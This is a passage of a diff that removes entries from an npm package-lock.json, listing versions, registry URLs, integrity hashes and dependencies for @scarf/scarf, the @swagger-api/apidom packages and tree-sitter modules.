- "node_modules/@scarf/scarf": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/@scarf/scarf/-/scarf-1.4.0.tgz",
- "integrity": "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ==",
- "hasInstallScript": true,
- "license": "Apache-2.0"
- },
- "node_modules/@swagger-api/apidom-ast": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ast/-/apidom-ast-1.0.0-rc.1.tgz",
- "integrity": "sha512-hsAySkWlIjgkQEDu1YEbvnxdEC3rD9bjQf7UYm0vzkvL5PNDd6lHLhxb825bQAfXQjw7WOxtV7eNrgqRQohMDg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "unraw": "^3.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-core": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-core/-/apidom-core-1.0.0-rc.1.tgz",
- "integrity": "sha512-vlguVts28oYBjCU5ZYfnX6yAFys/dZ1PUZqpYevMIGi8lEvxEfoxKEaUQa1Lr974cfKaVGBs8gNNhvDKXbH/jA==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-ast": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "minim": "~0.23.8",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "short-unique-id": "^5.3.2",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-error": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-error/-/apidom-error-1.0.0-rc.1.tgz",
- "integrity": "sha512-74tTb6QX8VeAvu/9XipXd4Ly3N3q+yJez+lGZD7Qa11E00AhNpzqH7swgZKutLEfq1tHxyGWE1A6xF8IiU4CJg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.20.7"
- }
- },
- "node_modules/@swagger-api/apidom-json-pointer": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-json-pointer/-/apidom-json-pointer-1.0.0-rc.1.tgz",
- "integrity": "sha512-fNDQozPRuD9ReYcCnIqr5jU0faFDUl3VrUtfeLl3YevxNB+onZkUidUvzUJgDjZK9Se567BgL0rK9hnEO/Q8qw==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swaggerexpert/json-pointer": "^2.10.1"
- }
- },
- "node_modules/@swagger-api/apidom-ns-api-design-systems": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-api-design-systems/-/apidom-ns-api-design-systems-1.0.0-rc.1.tgz",
- "integrity": "sha512-gV6vQHpdtVKtrV+uUCPwsSL5nX5zD/3vR7dSYE0Lii7f7RkpIXAgQViZSbv7+h8TB20DNobGt+JZH/gGaY+Oxg==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-ns-arazzo-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-arazzo-1/-/apidom-ns-arazzo-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-Bx3PMLp+613EgSsLLg6Ucg3FtbO2i1bVcFZXgImun5pYNfmtQu21ELfWKj8ty/Ts2zR1VKOn5+i9DyMOH/zpsA==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-2020-12": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-ns-asyncapi-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-asyncapi-2/-/apidom-ns-asyncapi-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-Vvo1f/H3mUuTny1d+XPudSattDWdHP1VhowxAOAFrnLVM4qvFbeBdzWjmTPEaeRsOz+Vq6rJOC4DPmHmtkR+oQ==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-7": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-ns-json-schema-2019-09": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-2019-09/-/apidom-ns-json-schema-2019-09-1.0.0-rc.1.tgz",
- "integrity": "sha512-1va09+kSTpNKc9oKs0rk2FWP2wk9AAdOcdmLpPEbzMnThQD1DHeBCk5OMStGZlaROxKWMPVZ5EmKy6rTRXvEIQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-7": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.4"
- }
- },
- "node_modules/@swagger-api/apidom-ns-json-schema-2020-12": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-2020-12/-/apidom-ns-json-schema-2020-12-1.0.0-rc.1.tgz",
- "integrity": "sha512-ixNci2lwVD0yC4lUrmOOhgE/denI8keGVnHXYokbq0QxlQWuwuVzjVEtVMdmEaX3JaYVmEI5tr8K9MPW1zso1A==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-2019-09": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.4"
- }
- },
- "node_modules/@swagger-api/apidom-ns-json-schema-draft-4": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-4/-/apidom-ns-json-schema-draft-4-1.0.0-rc.1.tgz",
- "integrity": "sha512-kLGANNv8oAWWvnVqWat/AqOEo6XBfdMF3I7BLL2eZFBE8bhTbFMvmAvUfnwcehYo3K4vT+J60DWrwqYBoGSSUQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-ast": "^1.0.0-rc.1",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.4"
- }
- },
- "node_modules/@swagger-api/apidom-ns-json-schema-draft-6": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-6/-/apidom-ns-json-schema-draft-6-1.0.0-rc.1.tgz",
- "integrity": "sha512-UzoTSrPOh+dwzSKZmawBwhWg4xGgpdNBmtV7jDJGEyFGsEkPvDBvViq+4sfMxO/BGoqPCD/jdt4yF16AKRxLiw==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.4"
- }
- },
- "node_modules/@swagger-api/apidom-ns-json-schema-draft-7": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-7/-/apidom-ns-json-schema-draft-7-1.0.0-rc.1.tgz",
- "integrity": "sha512-3alW6gJKeb+DzTu+LYpYyEc5swo3oP8aoatOcVceWo/A/568zfIW0wWssf9WoasI42jEktV17z4A6ZwT6PzYbA==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-6": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.4"
- }
- },
- "node_modules/@swagger-api/apidom-ns-openapi-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-2/-/apidom-ns-openapi-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-SJ79fGH+WA7IYEXOJFPjXCB5bg6uoJDmkEYxMtZpN0Q+juFSkMcquh3jVf0j0y+6gFe/MZjIFDHxiBdeJarOig==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-ns-openapi-3-0": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-3-0/-/apidom-ns-openapi-3-0-1.0.0-rc.1.tgz",
- "integrity": "sha512-TC2EBxBFJWD5pbZKUcbySqCt2nQmeP60ooS4f4Nl5r6vB/BeNbuO4FmO7CDI8OXD7b4J2+ro5KrXMs1EOQ3kVA==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-ns-openapi-3-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-3-1/-/apidom-ns-openapi-3-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-IY87MhqFBJnzhPWlr/OEVUa3iDjZuiwlyoWX4lw2jbKX+mLDrceGG5nqZawDACAjTjvtsjJcFP81D2VmjHVT5Q==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-ast": "^1.0.0-rc.1",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-json-pointer": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-json-schema-2020-12": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "ts-mixer": "^6.0.3"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-api-design-systems-json": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-api-design-systems-json/-/apidom-parser-adapter-api-design-systems-json-1.0.0-rc.1.tgz",
- "integrity": "sha512-1/koF8VwJHzFwk6FMWen39vpMUNcoCMXVY6MjMGag0h37LY5YAByl0LcYzLa33cvm5KCa23Aa75cu7Ns0SR1HQ==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-api-design-systems": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-api-design-systems-yaml": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-api-design-systems-yaml/-/apidom-parser-adapter-api-design-systems-yaml-1.0.0-rc.1.tgz",
- "integrity": "sha512-Gjx1gojtYvGFqKnGttv84ba0RCkY7Xa+12kj9HVik8G+YVzUN78Qt8yu96ak0oXFlY1Ai8MQb5siC8YH4pC8Dg==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-api-design-systems": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-arazzo-json-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-arazzo-json-1/-/apidom-parser-adapter-arazzo-json-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-RHIly3bprJELMlt91UFqmMbAtIxDyHi8DM27YVXRjrX7zncP6QKyevcg2ajEe8UaNtkCFvPZW9h0gDh/ZW6ZYQ==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-arazzo-yaml-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-arazzo-yaml-1/-/apidom-parser-adapter-arazzo-yaml-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-a+FweCIFAAnjvEWpMAd93xczbYX7AU4prwAMJ3QpFszltq2K7HKWUN1mMRplYPg5SSRLZojymdyMlu1evuP2Sg==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-asyncapi-json-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-asyncapi-json-2/-/apidom-parser-adapter-asyncapi-json-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-IKJ95OH35dW1+yGYDoE8uE3movG9z8Nht2QW8Ja75/H/jAFYGCxj56ZborEIiZxp83ItFqxQFn+ZUvwD7bDZew==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-asyncapi-yaml-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-asyncapi-yaml-2/-/apidom-parser-adapter-asyncapi-yaml-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-cVu2Ue1U809HiGeAR/54yF42y4UKiWh45sEKzkXPYJUqRUd2Ewyo5KHtlckjNnCDRILZEhaPaZFpxURSbyUeSg==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-json": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-json/-/apidom-parser-adapter-json-1.0.0-rc.1.tgz",
- "integrity": "sha512-pmWOuZFxSNdbV1xNV0IoIrRiweaVl9yGAiEtiYH0BzbD+yGQSxi1ltMkZDVoyBPbe2NtygFDRaINSDLwuYpUYA==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-ast": "^1.0.0-rc.1",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "tree-sitter": "=0.21.1",
- "tree-sitter-json": "=0.24.8",
- "web-tree-sitter": "=0.24.5"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-2/-/apidom-parser-adapter-openapi-json-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-+OsFBsD9PPqtcgETXU7l00/TMOfbtM+gvafJIdS/a+O1NQ2upAujQB3ArIB3sry3vloorjKmPyY6ZK/8rEKhNA==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-3-0": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-3-0/-/apidom-parser-adapter-openapi-json-3-0-1.0.0-rc.1.tgz",
- "integrity": "sha512-FEUJ+RaXKMP6LHMVeVyUPKdqjEqMSEZVhpvZt3Kh5fvnZvdgWngqs4gUjxO+dQCDVWkBxH/29uXm2eghdaM2Lw==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-3-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-3-1/-/apidom-parser-adapter-openapi-json-3-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-pcfPj3FW2IWPYmU5kE0YB7npqV2vN+DvqUsw1GcDzsb8y2IdkzagHtMPZkM/KrfHFmhsoHm5YNpYC+Vvd2g61Q==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-2/-/apidom-parser-adapter-openapi-yaml-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-ckt6b1P+iwYkTMibixpo0oKWFm0wOGf88gslMMCo1xNaLVJnjxiadTQ/lNJd58CBJiQeN/dziTkRqGcFDqV9JQ==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-3-0": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-3-0/-/apidom-parser-adapter-openapi-yaml-3-0-1.0.0-rc.1.tgz",
- "integrity": "sha512-JFyNwcj43cmps18Y+iqyna3uufyib8eLku+z4EhKFRPCuGFQ2bjsfVCFSP+Sv6sJATlagRRcfont+Q0BgNjwvw==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-3-1": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-yaml-3-1/-/apidom-parser-adapter-openapi-yaml-3-1-1.0.0-rc.1.tgz",
- "integrity": "sha512-kLRZYxJdix+irs0HTXJ223rj4Ou8AXo9IHiSf44KTuAZ/bsuakb0P8xROHg5MWTTEHYMfDrdLX+LaUo3b2GFyA==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-yaml-1-2/-/apidom-parser-adapter-yaml-1-2-1.0.0-rc.1.tgz",
- "integrity": "sha512-XmRG/5lmoRusCupHEf10OeK1SQnSym4N1OrK+c3OTfN1GGX60Gxu2XCZ70pafJDuu+cvo/F8Db8UX3UOHapjwA==",
- "license": "Apache-2.0",
- "optional": true,
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-ast": "^1.0.0-rc.1",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@tree-sitter-grammars/tree-sitter-yaml": "=0.7.1",
- "@types/ramda": "~0.30.0",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0",
- "tree-sitter": "=0.22.4",
- "web-tree-sitter": "=0.24.5"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2/node_modules/@tree-sitter-grammars/tree-sitter-yaml": {
- "version": "0.7.1",
- "resolved": "https://registry.npmjs.org/@tree-sitter-grammars/tree-sitter-yaml/-/tree-sitter-yaml-0.7.1.tgz",
- "integrity": "sha512-AynBwkIoQCTgjDR33bDUp9Mqq+YTco0is3n5hRApMqG9of/6A4eQsfC1/uSEeHSUyMQSYawcAWamsexnVpIP4Q==",
- "hasInstallScript": true,
- "license": "MIT",
- "optional": true,
- "dependencies": {
- "node-addon-api": "^8.3.1",
- "node-gyp-build": "^4.8.4"
- },
- "peerDependencies": {
- "tree-sitter": "^0.22.4"
- },
- "peerDependenciesMeta": {
- "tree-sitter": {
- "optional": true
- }
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2/node_modules/node-addon-api": {
- "version": "8.5.0",
- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
- "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
- "license": "MIT",
- "optional": true,
- "engines": {
- "node": "^18 || ^20 || >= 21"
- }
- },
- "node_modules/@swagger-api/apidom-parser-adapter-yaml-1-2/node_modules/tree-sitter": {
- "version": "0.22.4",
- "resolved": "https://registry.npmjs.org/tree-sitter/-/tree-sitter-0.22.4.tgz",
- "integrity": "sha512-usbHZP9/oxNsUY65MQUsduGRqDHQOou1cagUSwjhoSYAmSahjQDAVsh9s+SlZkn8X8+O1FULRGwHu7AFP3kjzg==",
- "hasInstallScript": true,
- "license": "MIT",
- "optional": true,
- "dependencies": {
- "node-addon-api": "^8.3.0",
- "node-gyp-build": "^4.8.4"
- }
- },
- "node_modules/@swagger-api/apidom-reference": {
- "version": "1.0.0-rc.1",
- "resolved": "https://registry.npmjs.org/@swagger-api/apidom-reference/-/apidom-reference-1.0.0-rc.1.tgz",
- "integrity": "sha512-Xj4aYrawCseCf6N6UuGSIaboN60ERmQVcKqXs/rybQz1gnD2AVqb8gklC2sUdOIUyN+ehDy+HDSM8I+yP32J0w==",
- "license": "Apache-2.0",
- "dependencies": {
- "@babel/runtime-corejs3": "^7.26.10",
- "@swagger-api/apidom-core": "^1.0.0-rc.1",
- "@swagger-api/apidom-error": "^1.0.0-rc.1",
- "@types/ramda": "~0.30.0",
- "axios": "^1.12.2",
- "minimatch": "^7.4.3",
- "process": "^0.11.10",
- "ramda": "~0.30.0",
- "ramda-adjunct": "^5.0.0"
- },
- "optionalDependencies": {
- "@swagger-api/apidom-json-pointer": "^1.0.0-rc.0",
- "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.0",
- "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-api-design-systems-json": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-api-design-systems-yaml": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-arazzo-json-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-arazzo-yaml-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-asyncapi-json-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-asyncapi-yaml-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-json-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-json-3-0": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-json-3-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-yaml-2": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-yaml-3-0": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-openapi-yaml-3-1": "^1.0.0-rc.0",
- "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.0"
